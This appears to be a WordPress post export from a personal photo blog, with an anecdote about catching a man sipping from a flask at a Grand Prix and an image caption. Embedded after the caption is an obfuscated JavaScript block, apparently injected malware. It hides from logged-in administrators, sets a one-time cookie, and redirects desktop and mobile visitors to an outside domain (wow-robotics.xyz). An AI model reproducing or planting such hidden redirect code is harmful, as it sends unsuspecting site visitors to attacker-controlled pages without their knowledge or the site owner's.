i love this picture, but i love it because i know the story behind it &#8230; i was walking behind the grandstands at the grad prix and i noticed this guy. i thought he looked interesting with his hat and buttons so i thought\u00a0 i&#8217;d take his picture. well, as i was approaching him i saw him reach into his pocket and pull out a small plastic flask, unscrew the top and take a nip &#8230; i was there at the right moment to catch him sneaking a sip from his flask &#8230; stoked (sidenote: someone needs to buy this guy a cooler flask &#8230; this looked like a &#8220;travel-sized&#8221; bottle of lotion that he washed out.)<\/p>\n<p><div id=\"attachment_1103\" style=\"width: 388px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/ribshots43.com\/wp-content\/uploads\/2012\/04\/p41412061.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-1103\" class=\"size-full wp-image-1103\" title=\"OLYMPUS DIGITAL CAMERA\" src=\"http:\/\/ribshots43.com\/wp-content\/uploads\/2012\/04\/p41412061.jpg\" alt=\"flaskman\" width=\"378\" height=\"504\" \/><\/a><p id=\"caption-attachment-1103\" class=\"wp-caption-text\">Flaskman<\/p><\/div><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>those of you who have read this blog and looked at my pictures for a little while know that i tend to &#8220;over-share.&#8221;
